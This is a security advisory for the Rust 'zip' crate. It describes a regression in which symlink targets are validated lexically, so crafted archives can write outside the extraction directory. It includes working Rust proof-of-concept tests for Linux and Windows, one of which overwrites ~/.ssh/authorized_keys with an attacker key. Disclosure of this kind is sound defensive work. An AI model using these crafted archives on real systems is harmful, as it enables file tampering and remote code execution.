GHSA-hjqx-j4rw-g7xv: zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
Summary
- Verified version: zip 9.0.0-pre3 - Affected versions: 7.2.0 and later - Precondition: The attacker knows (or can guess) the absolute path of the extraction destination
The validation applied to symlinks is purely lexical. As a result, an attacker can write arbitrary files outside the extraction directory through a symlink. Exploitation requires the attacker to know (or guess) the absolute path of the destination, but this is realistic in practice: CI workspaces, /opt/app, a fixed Downloads path, and so on.
Impact extends further on Windows (verified on real hardware for both the separate-drive and UNC-share cases): Because simplifiedcomponents discards the Prefix component, paths like D:\<same tail as dest> or a UNC path \\attacker\share\<same tail> pass the startswith check. As a result, outpath.push gets replaced onto a different drive/remote share, so a single symlink is enough — no intermediate symlink chain is required. That said, creating a symlink on Windows requires SeCreateSymbolicLinkPrivilege (administrator rights or Developer Mode enabled). Real-hardware verification (Windows 10 VM (19045.2604), tests/pocwin.rs): With the extraction target set to a temporary directory under C:, both of the following paths returned Ok(()) from extract() and successfully wrote outside the extraction target. In both cases extract() returned no error (Ok(())), and it was confirmed that the contents of pwned.txt matched the attacker-specified value.
Relationship to CVE-2025-29787
This is not a duplicate of the existing CVE-2025-29787 (2025-03); rather, the protection introduced for that CVE was subsequently lost.
Timeline (git history, UTC)
| commit | Date | Description | | ---------- | ---------- | ---------------------------------------------------------------------------------------------------------------- | | d4539d6b | 2025-02-28 | Initial fix for CVE-2025-29787. Canonicalizes output paths and symlink targets and verifies they descend from the destination | | 0199ac2c | 2025-03-15 | Before the v2.3.0 release, the above is replaced with a lexical check based on simplifiedcomponents | | v2.3.0 | 2025-03-16 | Released as the CVE fix. What actually shipped is the lexical check | | d5cf4b55 | 2026-01-18 | Changes how simplifiedcomponents handles absolute paths, from rejecting them to silently stripping them (released in v7.2.0) |
Why v2.3.0 was not affected, and how the protection was lost
The safepreparepath in v2.3.0 performs essentially the same lexical check as the current code. However, simplifiedcomponents at that time rejected any path containing an absolute component, so an absolute symlink target was never accepted in the first place and this attack path did not work.
rust // v2.3.0: reject absolute paths Component::Prefix() | Component::RootDir => return None,
// Current: ignore the fact that the path is absolute Utf8WindowsComponent::Prefix() | Utf8WindowsComponent::RootDir => (),
d5cf4b55 was intended to make archives containing absolute path names extractable, but as a side effect absolute symlink targets now pass the lexical check, which silently removed the protection against CVE-2025-29787.
Verification
The following three cases were compared using the same build (9.0.0-pre3):
| Payload / condition | Result | | -------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- | | Original PoC for CVE-2025-29787 (relative symlink parent -> ../) | Blocked with Err(InvalidArchive("Invalid symlink target path")) (the CVE fix itself is effective) | | PoC in this report (two-stage symlink using absolute paths) | Succeeds with Ok(()), writing outside the destination | | PoC in this report, with the d5cf4b55 change reverted to return None | Blocked with Err(InvalidArchive("Invalid symlink target path")) |
The first row shows that the fix for the CVE itself still works, confirming that this report is not a duplicate. The third row confirms that this vulnerability originates from the change in d5cf4b55.
Differences from CVE-2025-29787
- Stricter precondition: This issue requires the absolute path of the destination to be known (AC:H). The CVE worked with a relative ../ and had no such precondition. - Narrower API surface: This issue affects only ZipArchive::extract (and extractunwrappedrootdir). ZipStreamReader::extract is not affected, because externalattributes in the local header is 0 and therefore issymlink() never returns true (the CVE affected both APIs).
Details
Lexical validation of the path string
The symlink validation in src/read/zipfile.rs: L290-345 is lexical.
src/read/zipfile.rs: fn safepreparepath (L316-321): rust if !crate::path::simplifiedcomponents(&target) .okor(invalid!("Invalid symlink target path"))? .startswith( &crate::path::simplifiedcomponents(basepath) .okor(invalid!("Invalid base path"))?, )
simplifiedcomponents discards the information that a path is absolute (drive prefix / root), normalizes it lexically, and then merely performs a prefix comparison between the two results. It never looks at how the path actually resolves on the file system.
Consequently, the classic Zip Slip vector using .. is blocked, but paths that involve symlink resolution are not.
src/path.rs: fn simplifiedcomponents (L9~26): rust /// Simplify a path by removing the prefix and parent directories and only return normal components pub(crate) fn simplifiedcomponents(input: &Path) -> Option<Vec<&OsStr>> { let mut out = Vec::new(); let inputstr = input.tostr()?; for component in Utf8WindowsPath::new(inputstr).components() { match component { // Skip prefix and root directory components instead of rejecting the entire path // This allows extraction of ZIP files with absolute paths, similar to other ZIP tools Utf8WindowsComponent::Prefix() | Utf8WindowsComponent::RootDir => (), Utf8WindowsComponent::ParentDir => { out.pop()?; } Utf8WindowsComponent::Normal(s) => out.push(OsStr::new(s)), Utf8WindowsComponent::CurDir => (), } } Some(out) }
Insufficient validation of target
Once the path check passes, src/read/zipfile.rs: fn safepreparepath (L345) performs outpath.push(target), but whether any intermediate component of target is itself a symlink is never checked.
In addition, makesymlink, which is called from extractinternal, delegates to makesymlinkimpl and only validates that the archive-supplied target is valid UTF-8. There is no check that target stays inside the destination, so the symlink is created as-is.
src/read/mod.rs: fn extractinternal (L396-406): rust #[cfg(any(unix, windows))] if file.issymlink() { let mut target = Vec::withcapacity(file.size() as usize); file.readtoend(&mut target)?; drop(file); makesymlink(&outpath, &target, &self.shared.files)?; continue; } else if file.isdir() { makewritabledirall(&outpath)?; continue; }
src/read/mod.rs: fn makesymlinkimpl (L57-90): rust #[cfg(unix)] pub(crate) fn makesymlinkimpl<T>( outpath: &Path, targetstr: &str, existingfiles: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { std::os::unix::fs::symlink(Path::new(&targetstr), outpath)?; Ok(()) }
#[cfg(windows)] pub(crate) fn makesymlinkimpl<T>( outpath: &Path, targetstr: &str, existingfiles: &IndexMap<Box<[u8]>, T>, ) -> ZipResult<()> { use crate::format::functions::isdir; let target = Path::new(OsStr::new(&targetstr)); let targetisdirfromarchive = isdir(targetstr.asbytes()) && existingfiles.containskey(targetstr.asbytes()); let targetisdir = if targetisdirfromarchive { true } else if let Ok(meta) = std::fs::metadata(target) { meta.isdir() } else { false }; if targetisdir { std::os::windows::fs::symlinkdir(target, outpath)?; } else { std::os::windows::fs::symlinkfile(target, outpath)?; } Ok(()) }
Contradiction with the doc comment
The documentation comment of extract at src/read/mod.rs: L266-269 states the following. In reality, however, there is no validation when a symlink is created, and canonicalize is not used to validate symlink targets (canonicalize is used only in src/read/mod.rs: fn extractinternal (L357), to normalize the destination directory itself).
rust /// Extract a Zip archive into a directory, overwriting files if they /// already exist. Paths are sanitized with [ZipFile::enclosedname]. Symbolic links are only /// created and followed if the target is within the destination directory (this is checked /// conservatively using [std::fs::canonicalize]).
Combining the above makes it possible to write outside the destination during extraction:
| entry | kind | target | | ----------- | ------- | ------------------------------------------------------------------- | | b | symlink | /…/outside (created without validation) | | a | symlink | <dest>/b/sub (lexically under dest, so it passes the check) | | a/pwned.txt | file | - |
Entries are processed in central directory order (for i in 0..self.len() at src/read/mod.rs: L386), so the order above (b -> a -> a/pwned.txt) is required.
Extraction then proceeds as follows:
1. b: without any validation, the symlink <dest>/b -> /…/outside, pointing outside the destination, is created. 2. a: likewise without validation, <dest>/a -> <dest>/b/sub is created. 3. a/pwned.txt: when safepreparepath processes the component a, it sees that <dest>/a is a symlink and validates its target (<dest>/b/sub). Lexically that target is under <dest>, so the check passes and outpath becomes <dest>/b/sub. - At this point, the fact that b, an intermediate component of the target, is a symlink pointing outside is never re-validated. - Because a is not the final component, makewritabledirall is called and creates <dest>/b/sub (which really is /…/outside/sub). 4. Finally File::create creates <dest>/b/sub/pwned.txt; the kernel resolves b and writes to /…/outside/sub/pwned.txt. extract() returns Ok(()).
PoC
The PoC below is written as a unit test. Place it at tests/poclinux.rs and run cargo test --test poclinux -- --nocapture to reproduce.
- zipslipviasymlink: Write a new file outside the extraction destination - overwriteexistingsshauthorizedkeys: Overwrite an existing file ~/.ssh/authorizedkeys outside the extraction destination
tests/poclinux.rs rust //! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! Mechanism: The symlink target validation is lexical (prefix matching in simplifiedcomponents) //! By placing an outward-pointing symlink b as an "intermediate component in the resolved path", b is traversed by the OS rather than the validation loop, thus escaping outside without being verified. //! Can be reproduced with cargo test --test poclinux -- --nocapture
#![cfg(unix)]
use std::fs; use std::io::{Cursor, Write}; use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter};
/// Verification of writing a new file outside the extraction destination #[test] fn zipslipviasymlink() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination let outside = tmp.path().join("outside"); // A location where writing should not be allowed fs::createdir(&dest).unwrap(); fs::createdir(&outside).unwrap();
// Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Symlink pointing outside (target is created unverified) zip.addsymlink("b", outside.tostr().unwrap(), opt).unwrap(); // a: Symlink whose target starts under dest (passes lexical validation) zip.addsymlink("a", dest.join("b/sub").tostr().unwrap(), opt).unwrap(); // a/pwned.txt: File that escapes outside dest by traversing the intermediate b zip.startfile("a/pwned.txt", opt).unwrap(); zip.writeall(b"escaped!").unwrap(); let archive = zip.finishintoreadable().unwrap();
ZipArchive::from(archive).extract(&dest).unwrap();
// Verification: File has been written outside dest let escaped = outside.join("sub/pwned.txt"); assert!(escaped.exists(), "escape failed"); asserteq!(fs::readtostring(&escaped).unwrap(), "escaped!"); println!("wrote outside dest: {}", escaped.display()); }
/// Verification of overwriting an existing file (~/.ssh/authorizedkeys) outside the extraction destination #[test] fn overwriteexistingsshauthorizedkeys() { let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); // Extraction destination
// Reproduce victim's existing ~/.ssh/authorizedkeys (containing a legitimate key) let home = tmp.path().join("homevictim"); let ssh = home.join(".ssh"); fs::createdirall(&ssh).unwrap(); let authorizedkeys = ssh.join("authorizedkeys"); fs::write(&authorizedkeys, "ssh-ed25519 AAAA...LEGIT victim@host\n").unwrap(); let original = fs::readtostring(&authorizedkeys).unwrap();
fs::createdir(&dest).unwrap();
// Construct a malicious ZIP let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // b: Outward-pointing symlink to victim's HOME (target unverified) // Because it's placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation zip.addsymlink("b", home.tostr().unwrap(), opt).unwrap(); // a: Symlink pointing to <dest>/b/.ssh (passes validation because it is lexically under dest) zip.addsymlink("a", dest.join("b/.ssh").tostr().unwrap(), opt).unwrap(); // a/authorizedkeys: File entry that reaches the actual authorizedkeys zip.startfile("a/authorizedkeys", opt).unwrap(); zip.writeall(b"ssh-ed25519 AAAA...ATTACKER attacker@evil\n").unwrap(); let archive = zip.finishintoreadable().unwrap();
// extract() returns Ok(()) without an error (the caller cannot detect it) let res = ZipArchive::from(archive).extract(&dest); println!("extract() returned: {:?}", res); res.unwrap();
// Verification: Existing file is overwritten with the attacker's content let after = fs::readtostring(&authorizedkeys).unwrap(); println!("--- BEFORE ---\n{original}--- AFTER ---\n{after}"); assertne!(after, original, "file was NOT overwritten"); assert!(after.contains("ATTACKER"), "attacker content not present"); println!("OVERWROTE existing file: {}", authorizedkeys.display()); }
Windows PoC (tests/pocwin.rs)
This is a test that verifies escape to a different drive / UNC share via a single symlink, specific to Windows. By setting the extraction destination to a temporary directory on C: and making the symlink target an absolute path on a different volume that shares the same tail as dest, it passes the lexical check in simplifiedcomponents (which discards the Prefix), and the drive/share substitution performed by outpath.push results in a write outside of dest.
- escapeviaseconddrive: writes to E:\<same tail as dest>\evil\pwned.txt on a separate drive (e.g. E:) - escapeviauncshare: writes to \\localhost\poc\<same tail as dest>\evil\pwned.txt on a UNC share (e.g. \\localhost\poc\)
rust //! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv) //! //! - author: sl91994 //! //! The crafted ZIP contains only 2 entries: //! 1. a : a symlink whose target = <OTHER>\<same tail as dest>\evil (absolute path) //! 2. a/pwned.txt: a regular file //! During extraction, resolving a causes outpath to be replaced with <OTHER>\...\evil, //! and File::create(<OTHER>\...\evil\pwned.txt) writes outside of dest. //! //! # Prerequisites //! - Windows 10 (build 14972+) through Windows 11 //! - Symlink creation privilege SeCreateSymbolicLinkPrivilege = Developer Mode enabled, or run as Administrator. //! - One volume / share separate from dest. //! Supply the escape destination via environment variables: //! POCOTHERDRIVE: root of a separate drive. Must end with \. e.g. D:\ //! POCUNCSHARE: root of a writable UNC share. Must end with \. //! e.g. \\localhost\poc\ //! (net share poc=C:\path\to\share /grant:%USERNAME%,FULL) //! //! # Running //! //! powershell //! $env:POCOTHERDRIVE = "D:\" //! $env:POCUNCSHARE = "\\localhost\poc\" //! cargo test --test pocwin -- --nocapture //!
#![cfg(windows)]
use std::ffi::OsString; use std::fs; use std::io::{Cursor, Write}; use std::path::{Component, Path, PathBuf};
use tempfile::TempDir; use zip::write::SimpleFileOptions; use zip::{ZipArchive, ZipWriter};
/// Whether we have the privilege needed to create symlinks fn havesymlinkprivilege() -> bool { let Ok(tmp) = TempDir::new() else { return false; }; let target = tmp.path().join("privchecktarget"); let link = tmp.path().join("privchecklink"); if fs::write(&target, b"x").iserr() { return false; } std::os::windows::fs::symlinkfile(&target, &link).isok() }
/// Extract only the Normal components of a path (the tail, with prefix / root dropped) fn normaltail(p: &Path) -> Vec<OsString> { p.components() .filtermap(|c| match c { Component::Normal(s) => Some(s.toosstring()), => None, }) .collect() }
/// Returns the Prefix (volume identifier) at the head of the path fn volumeprefix(p: &Path) -> Option<OsString> { match p.components().next() { Some(Component::Prefix(pre)) => Some(pre.asosstr().toosstring()), => None, } }
/// Verifies the single-symlink escape using the escape destination root otherroot (a separate volume / share) fn runescape(variant: &str, otherroot: &str) { if !havesymlinkprivilege() { eprintln!( "[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \ enable Developer Mode or run as Administrator." ); return; }
// otherroot must be an existing, writable root let otherrootpath = PathBuf::from(otherroot); if !fs::metadata(&otherrootpath) .map(|m| m.isdir()) .unwrapor(false) { eprintln!( "[SKIP] [{variant}] escape root {otherroot:?} does not exist or is not a \ directory; check the environment variable." ); return; }
// The extraction destination dest is a temp directory (usually on C:). Since the base used by // safepreparepath is the path after canonicalize, match the tail to that. let tmp = TempDir::new().unwrap(); let dest = tmp.path().join("dest"); fs::createdir(&dest).unwrap(); let canondest = fs::canonicalize(&dest).unwrap(); let tail = normaltail(&canondest);
// Reproduce dest's tail on a separate volume as the escape destination, with evil/ underneath it. // Since simplifiedcomponents discards the prefix, the target's tail component sequence // prefix-matches the base's tail component sequence, passing the lexical check. let mut escapedir = otherrootpath.clone(); for c in &tail { escapedir.push(c); } escapedir.push("evil");
// Confirm it's actually a separate volume (if it's the same volume, it would land inside dest and not be an escape) let othervol = fs::canonicalize(&otherrootpath) .ok() .andthen(|p| volumeprefix(&p)); let destvol = volumeprefix(&canondest); assertne!( othervol, destvol, "[{variant}] escape root {otherroot:?} is on the same volume as dest; \ point it at a different drive/share (dest vol={destvol:?})." );
// Assemble the crafted ZIP (entries: 1 symlink + 1 file) let targetstr = escapedir .tostr() .expect("escape path must be valid UTF-8") .tostring(); println!("[{variant}] dest (canonical) = {}", canondest.display()); println!("[{variant}] symlink target = {targetstr}");
let mut zip = ZipWriter::new(Cursor::new(Vec::new())); let opt = SimpleFileOptions::default(); // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail) zip.addsymlink("a", &targetstr, opt).unwrap(); // a/pwned.txt: resolving a substitutes the drive in outpath, causing the write to land outside dest zip.startfile("a/pwned.txt", opt).unwrap(); zip.writeall(b"escaped-on-windows!").unwrap(); let archive = zip.finishintoreadable().unwrap();
let res = ZipArchive::from(archive).extract(&dest); println!("[{variant}] extract() returned: {res:?}");
res.expect("extract() failed");
let escaped = escapedir.join("pwned.txt"); assert!( escaped.exists(), "[{variant}] escape failed: {} was not created", escaped.display() );
let content = fs::readtostring(&escaped).unwrap(); println!( "[{variant}] WROTE OUTSIDE DEST: {} = {content:?}", escaped.display() );
let = fs::removefile(&escaped); let = fs::removedir(&escapedir);
asserteq!( content, "escaped-on-windows!", "[{variant}] written content mismatch", ); }
/// Single-symlink escape to a separate drive (POCOTHERDRIVE, e.g. D:\) #[test] fn escapeviaseconddrive() { match std::env::var("POCOTHERDRIVE") { Ok(root) if !root.isempty() => runescape("drive", &root), => eprintln!( "[SKIP] escapeviaseconddrive: POCOTHERDRIVE not set \ (PowerShell: $env:POCOTHERDRIVE=\"D:\\\")." ), } }
/// Single-symlink escape to a UNC share (POCUNCSHARE, e.g. \\localhost\poc\) #[test] fn escapeviauncshare() { match std::env::var("POCUNCSHARE") { Ok(root) if !root.isempty() => runescape("unc", &root), => eprintln!( "[SKIP] escapeviauncshare: POCUNCSHARE not set \ (PowerShell: $env:POCUNCSHARE=\"\\\\localhost\\poc\\\")." ), } }
Impact
With the privileges of the process that extracts an untrusted ZIP archive via ZipArchive::extract / ZipArchive::extractunwrappedrootdir, an attacker can write a file with arbitrary contents to an arbitrary path outside the extraction directory.
- Because existing files can be overwritten, tampering with files such as ~/.ssh/authorizedkeys, ~/.bashrc, .git/hooks/, CI configuration, or a service's binaries and configuration files may lead to remote code execution or privilege escalation. Destroying critical files can also cause denial of service. - Extraction does not fail and returns Ok(()), so the caller has no straightforward way to detect the attack. - The documentation of extract() explicitly states that symbolic links are only created and followed if the target is within the destination directory, so downstream applications that rely on this as a sandbox boundary are directly affected.
Exploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, /opt/<app>, a fixed Downloads directory, and so on.
Other sources
zip is a zip library for Rust that supports reading and writing simple ZIP files. From 7.2.0 until 9.0.0, ZipArchive::extract and ZipArchive::extractunwrappedrootdir use safepreparepath in src/read/zipfile.rs and simplifiedcomponents in src/path.rs to validate symbolic link targets with a lexical prefix comparison rather than resolving each intermediate link. An attacker who knows or can guess the absolute extraction destination can create a chain whose apparent target remains under the destination while an intermediate symlink resolves outside it, allowing attacker-controlled files to be created or overwritten with the extracting process's privileges. On Windows, discarded drive and UNC prefixes can permit a single-link escape when the process has SeCreateSymbolicLinkPrivilege, such as through administrator rights or Developer Mode. This regression is distinct from CVE-2025-29787. This issue is fixed in version 9.0.0.
— OSV
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rust/zipto a version that resolves this vulnerability.Fixed in 9.0.0 - Upgrade
Upgrade
zipto a version that resolves this vulnerability.Fixed in 9.0.0